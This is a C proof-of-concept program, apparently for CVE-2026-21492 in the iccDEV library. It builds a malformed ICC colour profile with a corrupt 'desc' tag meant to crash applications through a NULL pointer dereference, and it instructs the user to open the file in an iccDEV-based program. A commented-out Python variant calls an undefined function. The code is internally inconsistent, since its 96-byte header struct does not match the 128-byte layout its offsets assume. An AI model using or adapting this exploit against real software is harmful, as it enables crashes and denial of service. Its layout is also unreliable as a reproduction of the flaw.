// CVE-2026-21492 PoC - NULL Pointer Dereference in iccDEV
// This PoC generates a malformed ICC profile to trigger the vulnerability
// Target: iccDEV < 2.3.1.2
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Simplified ICC Profile Header Structure
typedef struct {
char size[4]; // Profile size
char cmm_type[4]; // CMM type signature
char profile_version[4]; // Profile version
char profile_class[4]; // Device class
char color_space[4]; // Color space
char pcs[4]; // PCS (Profile Connection Space)
char creation_date[12]; // Creation date/time
char signature[4]; // 'acsp' signature
char platform[4]; // Primary platform
char flags[4]; // Profile flags
char device_manufacturer[4]; // Device manufacturer
char device_model[4]; // Device model
char device_attributes[4]; // Device attributes
char rendering_intent[4]; // Rendering intent
char pcs_illuminant[12]; // PCS illuminant
char creator[4]; // Profile creator
char id[16]; // Profile ID
} ICC_Profile_Header;
// Malformed tag structure to trigger NULL pointer
typedef struct {
char signature[4];
char offset[4];
char size[4];
} ICC_Tag;
void create_malformed_icc_profile(const char* filename) {
FILE* fp = fopen(filename, "wb");
if (!fp) {
printf("Failed to create file\n");
return;
}
// Create minimal ICC profile header
ICC_Profile_Header header = {0};
memcpy(header.signature, "acsp", 4);
memcpy(header.profile_class, "mntr", 4);
memcpy(header.color_space, "RGB ", 4);
memcpy(header.pcs, "Lab ", 4);
// Set profile size (will be adjusted)
int profile_size = 128 + 256; // header + tag table
memcpy(header.size, &profile_size, 4);
fwrite(&header, sizeof(ICC_Profile_Header), 1, fp);
// Write padding to reach tag table
unsigned char padding[128] = {0};
fwrite(padding, 128, 1, fp);
// Tag count
int tag_count = 1;
fwrite(&tag_count, 4, 1, fp);
// Malformed tag entry - point to invalid/missing data
ICC_Tag tag = {0};
memcpy(tag.signature, "desc", 4); // Description tag
int offset = 128 + 256 + 4 + 16; // Invalid offset
memcpy(tag.offset, &offset, 4);
int size = 0xFFFFFFFF; // Invalid size
memcpy(tag.size, &size, 4);
fwrite(&tag, sizeof(ICC_Tag), 1, fp);
// Write additional malformed data
fwrite(padding, 256, 1, fp);
fclose(fp);
printf("Malformed ICC profile created: %s\n", filename);
printf("This profile triggers NULL pointer dereference in iccDEV < 2.3.1.2\n");
}
int main() {
printf("CVE-2026-21492 PoC Generator\n");
printf("Target: iccDEV < 2.3.1.2\n");
printf("Vulnerability: NULL Pointer Member Call\n\n");
create_malformed_icc_profile("malformed_profile.icc");
printf("\nUsage: Open malformed_profile.icc with an application\n");
printf("using iccDEV library to trigger the vulnerability.\n");
return 0;
}
// Alternative PoC in Python (using icc library if available)
/*
from icc import profile
def trigger_cve_2026_21492():
"""
Attempt to trigger NULL pointer dereference in iccDEV
This requires a malformed ICC profile with invalid tag data
"""
try:
# Create profile with malformed tags
# This is a conceptual PoC - actual implementation depends on library version
malformed_data = create_malformed_icc_bytes()
profile.load(malformed_data) # Triggers NULL pointer access
except Exception as e:
print(f"Exception caught: {e}")
print("Vulnerability may have been triggered")
*/